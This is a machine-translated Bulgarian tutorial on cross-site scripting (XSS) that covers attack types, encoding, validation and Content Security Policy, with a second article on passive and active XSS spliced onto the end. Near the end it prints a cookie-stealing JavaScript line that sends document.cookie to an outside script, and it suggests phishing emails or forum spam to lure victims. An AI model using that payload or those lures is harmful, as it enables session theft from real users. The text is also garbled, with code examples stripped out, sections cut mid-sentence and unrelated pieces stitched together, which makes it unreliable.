Пасивно xss. Лесен хак: Как да получите данни чрез включване на скриптове между сайтове

И е изчерпателен урок за междусайтови скриптове.

Част първа: преглед

Какво е XSS?

Скриптове между сайтове ( Английски Междусайтови скриптове) Това е атака с инжектиране на код, която позволява на нападателя да изпълни злонамерен JavaScript в браузъра на друг потребител.

Нападателят не атакува директно жертвата си. Вместо това той използва уязвимост в уебсайта, който жертвата посещава, и инжектира злонамерен JavaScript код. Браузърът на жертвата показва злонамерен JavaScript като легитимна част от уебсайта, а самият уебсайт действа като пряк съучастник на нападателя.

Инжектиране на злонамерен JavaScript код

Единственият начин нападателят да стартира злонамерен JavaScript в браузъра на жертвата е да го инжектира в една от страниците, които жертвата изтегля от уебсайта. Това е възможно, ако уебсайтът позволява на потребителите да въвеждат данни в неговите страници и нападателят може да вмъкне ред, който ще бъде открит като част от кода в браузъра на жертвата.

Примерът по-долу показва прост скрипт от страна на сървъра, който се използва за показване на последния коментар на сайт:

отпечатай " "
печат "Последен коментар:"
отпечатайте база данни.последнияComment
отпечатай ""

Скриптът приема, че коментарът се състои само от текст. Въпреки това, тъй като директното въвеждане на потребителя е активирано, нападателят може да остави този коментар: "". Всеки потребител, който посети страницата, вече ще получи следния отговор:


Последен коментар:

Когато браузърът на потребителя зареди страницата, той ще изпълни всичко, включително JavaScript, съдържащ се в етикетите ... Това показва, че самото присъствие на нападател, инжектиращ скрипт, е проблем, независимо от това какъв конкретен код на скрипта се изпълнява в действителност.

Част втора: XSS атака

Участници в XSS атака

Преди да опишем подробно как работи една XSS атака, трябва да идентифицираме участниците в XSS атаката. Като цяло има трима участници в XSS атака: уеб сайт, жертва, и крекер.

  • уеб сайтсъздава HTML страници за потребители, които ги поискат. В нашите примери той се намира на http: // уебсайт /.
    • База данни на уебсайтовее база данни, която съхранява част от данните, въведени от потребителите на страниците на сайта.
  • ЖертваРедовен потребител на уебсайт, който иска страници от него чрез своя браузър.
  • АтакуващЕ нападател, който възнамерява да започне атака срещу жертвата, като използва XSS уязвимост на сайта.
    • Сървър за кракерТова е уеб сървър под контрола на нападател с единствената цел да открадне поверителната информация на жертвата. В нашите примери той се намира на адрес http: // атакуващ /.

Примерен сценарий за атака

Този скрипт ще създаде HTTP заявка към различен URL, който ще пренасочи браузъра на потребителя към сървъра на нападателя. URL адресът включва бисквитките на жертвата като параметър на заявка, когато HTTP заявка пристигне на сървъра на нападателя, нападателят може да извлече тези бисквитки от заявката. След като нападателят получи бисквитките, той може да ги използва, за да се представя за жертва и да започне последваща атака.

Оттук нататък горният HTML код ще бъде извикан злонамерен низили злонамерен скрипт... Важно е да се разбере, че самият низ е злонамерен само ако в крайна сметка се обработва като HTML в браузъра на жертвата, което може да се случи само ако има XSS уязвимост в уебсайта.

Как работи този пример за атака

Диаграмата по-долу показва пример за нападател, извършващ атака:

  1. Нападателят използва една от формите на уебсайта, за да вмъкне зловреден низ в базата данни на уебсайта.
  2. Жертвата иска страница от уебсайт.
  3. Сайтът включва злонамерен низ от базата данни в отговора и го изпраща на жертвата.
  4. Браузърът на жертвата изпълнява злонамерения скрипт в отговора, изпращайки бисквитката на жертвата до сървъра на нападателя.

Типове XSS

Целта на XSS атака винаги е да се изпълни злонамерен JavaScript скрипт в браузъра на жертвата. Има няколко принципно различни начина за постигане на тази цел. XSS атаките често се категоризират в три типа:

  • Съхранен (постоянен) XSSкъдето злонамереният низ произхожда от базата данни на уебсайта.
  • Отразен (променлив) XSSкъдето злонамереният низ се създава от заявката на жертвата.
  • DOMs XSSкъдето уязвимостта се появява в кода от страна на клиента, а не в кода от страна на сървъра.

Предишният пример показва съхранена XSS атака. Сега ще опишем два други типа XSS атаки: Reflected XSS и DOM XSS.

Отразен XSS

При отразена XSS атака, злонамереният низ е част от заявката на жертвата към уебсайта. Сайтът приема и вмъква този злонамерен низ в отговора, който изпраща обратно на потребителя. Диаграмата по-долу илюстрира този сценарий:

  1. Жертвата е измамена от нападателя да изпрати URL заявка до уебсайта.
  2. Сайтът включва злонамерен низ от URL адреса на заявката в отговора на жертвата.
  3. Браузърът на жертвата изпълнява злонамерения скрипт, съдържащ се в отговора, изпращайки бисквитката на жертвата до сървъра на нападателя.

Как да се защитим успешно от XSS атаки?

Отразената XSS атака може да изглежда безобидна, тъй като изисква от жертвата да изпрати заявка от тяхно име, която съдържа злонамерен низ. Тъй като никой няма да се самонапада доброволно, изглежда, че няма начин действително да се извърши атаката.

Както се оказва, има поне два често срещани начина да накарате жертвата да започне отразена XSS атака срещу себе си:

  • Ако потребителят е конкретно лице, нападателят може да изпрати злонамерен URL адрес на жертвата (например чрез имейл или месинджър) и да ги подмами да отвори връзката, за да посети уебсайта.
  • Ако целта е голяма група потребители, нападателят може да публикува връзка към злонамерен URL (например на собствен уебсайт или социална мрежа) и да изчака посетителите да щракнат върху връзката.

И двата метода са сходни и и двата могат да бъдат по-успешни чрез използване на услуги за съкращаване на URL адреси за маскиране на злонамерения низ от потребители, които могат да го идентифицират.

XSS в DOM

DOM XSS е вариант както на съхранена, така и на отразена XSS атака. При тази XSS атака злонамереният низ не се обработва от браузъра на жертвата, докато не се изпълни действителният JavaScript на уебсайта. Диаграмата по-долу илюстрира този сценарий за отразена XSS атака:

  1. Нападателят създава URL, съдържащ злонамерен низ и го изпраща на жертвата.
  2. Жертвата е измамена от нападателя да изпрати URL заявка до уебсайта.
  3. Сайтът приема заявката, но не включва злонамерения низ в отговора.
  4. Браузърът на жертвата изпълнява легитимния скрипт, съдържащ се в отговора, в резултат на което злонамереният скрипт ще бъде вмъкнат в страницата.
  5. Браузърът на жертвата изпълнява злонамерения скрипт, вмъкнат в страницата, изпращайки бисквитката на жертвата до сървъра на нападателя.
Каква е разликата между XSS в DOM?

В предишните примери за съхранени и отразени XSS атаки, сървърът инжектира злонамерен скрипт в страницата, който след това се препраща в отговор на жертвата. Когато браузърът на жертвата получи отговор, той приема, че злонамереният скрипт е част от легитимното съдържание на страницата и автоматично го изпълнява по време на зареждане на страницата, както всеки друг скрипт.

В примера за DOM XSS атака злонамереният скрипт не се вмъква като част от страницата; единственият скрипт, който се изпълнява автоматично по време на зареждане на страницата, е легитимната част от страницата. Проблемът е, че този легитимен скрипт директно използва въвеждането на потребителя, за да добави HTML към страницата. Тъй като злонамереният низ се вмъква в страницата с помощта на innerHTML, той се анализира като HTML, което кара злонамерения скрипт да се изпълни.

Това разграничение е малко, но много важно:

  • В традиционния XSS злонамереният JavaScript се изпълнява при зареждане на страницата като част от HTML, изпратен от сървъра.
  • В случай на XSS в DOM, злонамереният JavaScript се изпълнява след като страницата се зареди, което кара тази легитимна JavaScript страница да има достъп до въвеждането на потребителя (съдържащ злонамерения низ) по небезопасен начин.
Как работи XSS в DOM?

В предишния пример JavaScript не се изисква; сървърът може сам да генерира целия HTML. Ако кодът от страна на сървъра не съдържаше уязвимости, уебсайтът нямаше да бъде уязвим към XSS уязвимостта.

Въпреки това, тъй като уеб приложенията стават по-напреднали, все повече и повече HTML страници се генерират с помощта на JavaScript от страна на клиента, а не на сървъра. По всяко време съдържанието трябва да се промени, без да се опреснява цялата страница, това е възможно с помощта на JavaScript. По-специално, това е случаят, когато страницата се обновява след AJAX заявка.

Това означава, че XSS уязвимостите могат да присъстват не само от страна на сървъра на кода на вашия сайт, но и от страна на JavaScript на клиента на вашия сайт. Следователно, дори и с напълно безопасен код от страна на сървъра, клиентският код все още може да не е безопасен за включването на въвеждане от потребителя, когато DOM се актуализира след зареждане на страницата. Ако това се случи, тогава кодът от страна на клиента ще позволи XSS атака не по вина на кода от страна на сървъра.

Базираният на DOM XSS може да не се вижда от сървъра

Има специален случай на DOM XSS атака, при която злонамереният низ никога не се изпраща до сървъра на уебсайта: това се случва, когато злонамереният низ се съдържа в фрагмента на URL идентификатора (всичко след знака #). Браузърите не изпращат тази част от URL адреса на сървъра, така че уебсайтът не може да бъде достъпен чрез код от страна на сървъра. Кодът от страна на клиента обаче има достъп до него и по този начин е възможно да се проведе XSS атака чрез несигурна обработка.

Този случай не се ограничава до идентификатора на фрагмента. Има и други потребителски данни, които са невидими за сървъра, като например нови HTML5 функции като LocalStorage и IndexedDB.

част трета:
Предотвратяване на XSS

Техники за превенция на XSS

Като напомняне, XSS е атака с инжектиране на код: въвеждането на потребителя погрешно се интерпретира като злонамерен код. Необходима е безопасна работа с въвеждането, за да се предотврати този тип инжектиране на код. За уеб разработчик има два фундаментално различни начина за извършване на защитена обработка на входа:

  • Кодиранее начин, който позволява на потребителя да въвежда данни само като данни и не позволява на браузъра да се обработва като код.
  • Валидиранее начин за филтриране на въведеното от потребителя, така че браузърът да го интерпретира като код без злонамерени команди.

Въпреки че това са коренно различни методи за превенция на XSS, те имат няколко общи неща, които е важно да разберете, когато използвате някой от тях:

Контекст Безопасната обработка на входа трябва да се извършва по различен начин в зависимост от това къде се използва въвеждането на потребителя на страницата. входящ/изходящ Сигурна обработка на входа може да се извърши или когато вашият сайт получи вход (входящ трафик), или точно преди сайтът да вмъкне въведени от потребителя в съдържанието на страницата (изходящ). Клиент/сървър Защитената обработка на входа може да се извърши или от страна на клиента, или от страна на сървъра, всяка от които е необходима при различни обстоятелства.

Преди да обясним подробно как работи кодирането и валидирането, ние описваме всяка една от тези точки.

Обработка на въвеждане от потребителя в контексти

Има много контексти на уеб страница, където може да се приложи въвеждането на потребителя. За всеки от тях трябва да се спазват специални правила, така че въвеждането на потребителя да не може да „избяга“ от неговия контекст и да не може да бъде интерпретирано като злонамерен код. Следните са най-често срещаните контексти:

Колко важни са контекстите?

Във всички описани контексти може да възникне XSS уязвимост, ако въвеждането на потребителя е било вмъкнато преди първото кодиране или валидиране. Нападателят може да инжектира злонамерен код, просто като вмъкне затварящ разделител за този контекст, последван от злонамерен код.

Например, ако в даден момент уебсайт включва въвеждане от потребителя директно в HTML атрибут, нападателят може да инжектира злонамерен скрипт, като започне въвеждането им с кавички, както е показано по-долу:

Това можеше да бъде предотвратено чрез просто премахване на всички кавички във въвеждането на потребителя и би било добре, но само в този контекст. Ако входът е бил вмъкнат в различен контекст, затварящият разделител ще бъде различен и инжектирането ще бъде възможно. Поради тази причина безопасното боравене с въвеждане трябва винаги да бъде адаптирано към контекста, в който ще бъде вмъкнат потребителският вход.

Обработка на входящ/изходящ потребителски вход

Инстинктивно може да изглежда, че XSS може да бъде предотвратен чрез кодиране или валидиране на всички потребителски данни, веднага щом нашият сайт го получи. По този начин всички злонамерени низове вече ще бъдат неутрализирани, когато са включени в страницата, а скриптовете за генериране на HTML няма да се притесняват за безопасното обработване на въведеното от потребителя.

Проблемът е, че, както беше описано по-рано, въвеждането на потребителя може да бъде вмъкнато в множество контексти на страницата. И няма лесен начин да се определи кога въведеното от потребителя влиза в контекста - как в крайна сметка ще бъде вмъкнато, и един и същ потребителски въведен често трябва да бъде вмъкнат в различни контексти. Като разчитаме на обработката на входящия вход, за да предотвратим XSS, ние създаваме много крехко решение, което ще бъде податливо на грешки. (Наследените PHP магически кавички са пример за такова решение.)

Вместо това, обработката на изходящ вход трябва да бъде вашата основна линия на защита срещу XSS, тъй като може да вземе предвид специфичния контекст на това, което потребителски вход ще бъде вмъкнат. До известна степен входящата валидация може да се използва за добавяне на вторичен слой на защита, но повече за това по-късно.

Където е възможно безопасно да се обработва въвеждането на потребителя

В повечето съвременни уеб приложения, въвеждането на потребителя се обработва както в кода от страна на сървъра, така и от кода от страна на клиента. За да се защити срещу всички видове XSS, сигурната обработка на входа трябва да се извършва както в код от страна на сървъра, така и от клиентски код.

  • За да се защити от традиционния XSS, сигурната обработка на въвеждане трябва да се извършва в код от страна на сървъра. Това се прави с помощта на език, поддържан от сървъра.
  • За да се защити срещу XSS атака в DOM, където сървърът никога не получава злонамерен низ (като атаката с фрагмент на идентификатор, описана по-рано), трябва да се извърши защитена обработка на входа в код от страна на клиента. Това се прави с помощта на JavaScript.

След като обяснихме защо контекстът има значение, защо разликата между входящата и изходящата обработка на входа е важна и защо безопасната обработка на входа трябва да се извършва както от страна на клиента, така и от страна на сървъра, можем да продължим да обясняваме как двата типа защитени обработката на входа (кодиране и валидиране) реално се извършват.

Кодиране

Кодирането е изход от ситуация, при която е необходимо браузърът да интерпретира въведеното от потребителя само като данни, а не като код. Най-популярният тип кодиране в уеб разработката е HTML маскирането, което преобразува знаци като напр < и > v < и > съответно.

Следният псевдокод е пример за това как въвеждането на потребителя (потребителското въвеждане) може да бъде кодирано с помощта на HTML маскиране и след това вмъкнато в страница с помощта на скрипт от страна на сървъра:

отпечатай " "
печат "Последен коментар:"
печат encodeHtml (userInput)
отпечатай ""

Ако потребителят въведе следния ред, полученият HTML ще изглежда така:


Последен коментар:

Тъй като всички знаци със специално значение са маскирани, браузърът няма да анализира никоя част от въведеното от потребителя като HTML.

Кодиране от страна на клиента и сървъра

Когато се изпълнява кодиране от страна на клиента, винаги се използва JavaScript, който има вградени функции, които кодират данни за различни контексти.

Когато правите кодиране във вашия сървърен код, вие разчитате на функциите, налични във вашия език или рамка. Поради големия брой налични езици и рамки, този урок няма да обхване подробностите за кодирането на конкретен сървър или език на рамката. Въпреки това, функциите за кодиране на JavaScript от страна на клиента се използват и при писане на код от страна на сървъра.

Кодиране от страна на клиента

Когато кодирате потребителски вход от страна на клиента с JavaScript, има няколко вградени метода и свойства, които автоматично кодират всички данни в контекстно чувствителен стил:

Последният контекст, споменат по-горе (стойности в JavaScript) не е включен в този списък, тъй като JavaScript не предоставя вграден начин за кодиране на данни, които биха били включени в изходния код на JavaScript.

Ограничения за кодиране

Дори при кодиране е възможно да се използват злонамерени низове в някои контексти. Отличен пример за това е, когато въвеждането на потребителя се използва за предоставяне на URL, като в примера по-долу:

document.querySelector ("a"). href = userInput

Въпреки че посочената стойност в свойството на елемента href автоматично го кодира, така че да се превърне в нищо повече от стойността на атрибута, това само по себе си не пречи на нападателя да вмъкне URL, който започва с "javascript:". Когато се щракне върху връзката, независимо от конструкцията, вграденият JavaScript в URL адреса ще бъде изпълнен.

Кодирането също не е ефективно решение, когато искате потребителите да могат да използват някои от HTML кодовете на страницата. Пример би била страница с потребителски профил, където потребителят може да използва персонализиран HTML. Ако този обикновен HTML е кодиран, страницата на профила може да се състои само от обикновен текст.

В ситуации като тази кодирането трябва да бъде допълнено от валидиране, с което ще се запознаем по-нататък.

Валидиране

Валидирането е актът на филтриране на въведеното от потребителя, така че всички злонамерени части от него да бъдат премахнати, без да се налага премахване на целия код в него. Един от най-използваните видове валидиране в уеб разработката ви позволява да използвате някои HTML елементи (напр. и ), но забрана на други (напр.

С правилно дефинирана CSP политика, браузърът не може да зареди и изпълни злонамерен ‑ script.js, защото http: // атакуващ / не е посочен като доверен източник. Въпреки че сайтът не беше в състояние да обработва надеждно въвеждането на потребителя, в този случай политиката на CSP предотврати уязвимостта и всяка вреда.

Дори ако нападателят инжектира код в кода на скрипта, вместо да свързва към външен файл, правилно конфигурираната политика на CSP също би забранила инжектирането в JavaScript код, предотвратявайки уязвимостта и причинявайки всякаква вреда.

Как да активирам CSP?

По подразбиране браузърите не използват CSP. За да активирате SCP на вашия уебсайт, страниците трябва да съдържат допълнителна HTTP заглавка: Съдържание ‑ Защита ‑ Политика. Всяка страница, съдържаща тази заглавка, ще прилага правила за сигурност в момента на зареждане от браузъра, при условие че браузърът поддържа CSP.

Тъй като политиката за сигурност се изпраща с всеки HTTP отговор, е възможно на сървъра да се зададе индивидуално политиката за всяка страница. Една и съща политика може да се приложи към целия уебсайт чрез вмъкване на една и съща CSP заглавка във всеки отговор.

Стойността в заглавката Content-Security-Policy съдържа низ, който дефинира една или повече политики за сигурност, които ще се прилагат към вашия сайт. Синтаксисът на този ред ще бъде описан по-късно.

Примерите за заглавия в този раздел използват прекъсвания на редове и отстъп за яснота; те не трябва да се появяват в това заглавие.

Синтаксис на CSP

Синтаксисът за заглавката на CSP е както следва:

Политика за съдържание – сигурност – политика:
директива източник-израз, източник-израз, ...;
директива ...;
...

Този синтаксис има два елемента:

  • директивикоито са низове, указващи вида на ресурса, взет от дадения списък.
  • Изходни изразие модел, описващ един или повече сървъри, от които могат да се зареждат ресурси.

За всяка директива данните в изходния израз определят кои източници могат да се използват за зареждане на ресурси от съответния тип.

директиви

Следните директиви могат да се използват в заглавката на CSP:

  • свържете ‑ src
  • шрифт-src
  • рамка-src
  • img ‑ src
  • media-src
  • обект-src
  • скрипт-src
  • style-src

В допълнение към това, специалната директива default-src може да се използва за предоставяне на стойност по подразбиране за всички директиви, които не са включени в заглавката.

Изходен израз

Синтаксисът за създаване на изходен израз е както следва:

протокол: // име на хост: номер на порт

Името на хост може да започва с *, което означава, че всеки поддомейн на предоставеното име на хост ще бъде разрешен. По същия начин номерът на порта може да бъде представен като *, което означава, че всички портове ще бъдат разрешени. В допълнение, протоколът и номерът на порта могат да бъдат пропуснати. Ако не е посочен протокол, политиката ще изисква всички ресурси да бъдат заредени чрез HTTPS.

В допълнение към горния синтаксис, изходният израз може алтернативно да бъде една от четирите ключови думи със специално значение (включени кавички):

"няма" деактивира ресурсите. "self" разрешава ресурси от хоста, на който се намира уеб страницата. "unsafe-inline" разрешава ресурсите, съдържащи се в страницата, като вградени

Има два вида XSS уязвимости - пасивни и активни.

Активна уязвимостпо-опасно, тъй като нападателят не трябва да примамва жертвата с помощта на специална връзка, той просто трябва да инжектира кода в базата данни или някакъв файл на сървъра. Така всички посетители на сайта автоматично стават жертви. Може да се интегрира например с помощта на SQL инжекция. Следователно, не трябва да се доверявате на данните, съхранявани в базата данни, дори ако са били обработени по време на вмъкване.

Пример пасивна уязвимостможете да намерите в самото начало на статията. Тук вече е необходимо социално инженерство, например важно писмо от администрацията на сайта с молба за проверка на настройките на вашия акаунт след възстановяване от резервно копие. Съответно, трябва да знаете адреса на жертвата или просто да организирате спам имейл или публикация в някакъв форум, а дори и да не е фактът, че жертвите ще бъдат наивни и ще щракнат върху вашата връзка.

Освен това параметрите POST и GET могат да бъдат обект на пасивна уязвимост. С POST параметрите, разбира се, трябва да използвате някои трикове. Например пренасочване от уебсайта на нападателя.

Следователно уязвимостта GET е малко по-опасна, т.к по-лесно е жертвата да забележи грешен домейн, отколкото незадължителния параметър (въпреки че URL адресът може да бъде кодиран изцяло).

Кражба на бисквитки

Това е най-често цитираният пример за XSS атака. В бисквитките сайтовете понякога съхраняват някаква ценна информация (понякога дори потребителското име и паролата (или нейния хеш) на потребителя), но най-опасната е кражбата на активна сесия, така че не забравяйте да щракнете върху връзката „Изход“ на сайтовете, дори и да е домашен компютър. За щастие при повечето ресурси продължителността на сесията е ограничена.

Var іmg = ново изображение (); іmg.srс = "http: //site/xss.php?" + document.cookie;

Затова въведохме ограничения на домейна за XMLHttpRequest, но нападателят не се страхува, тъй като има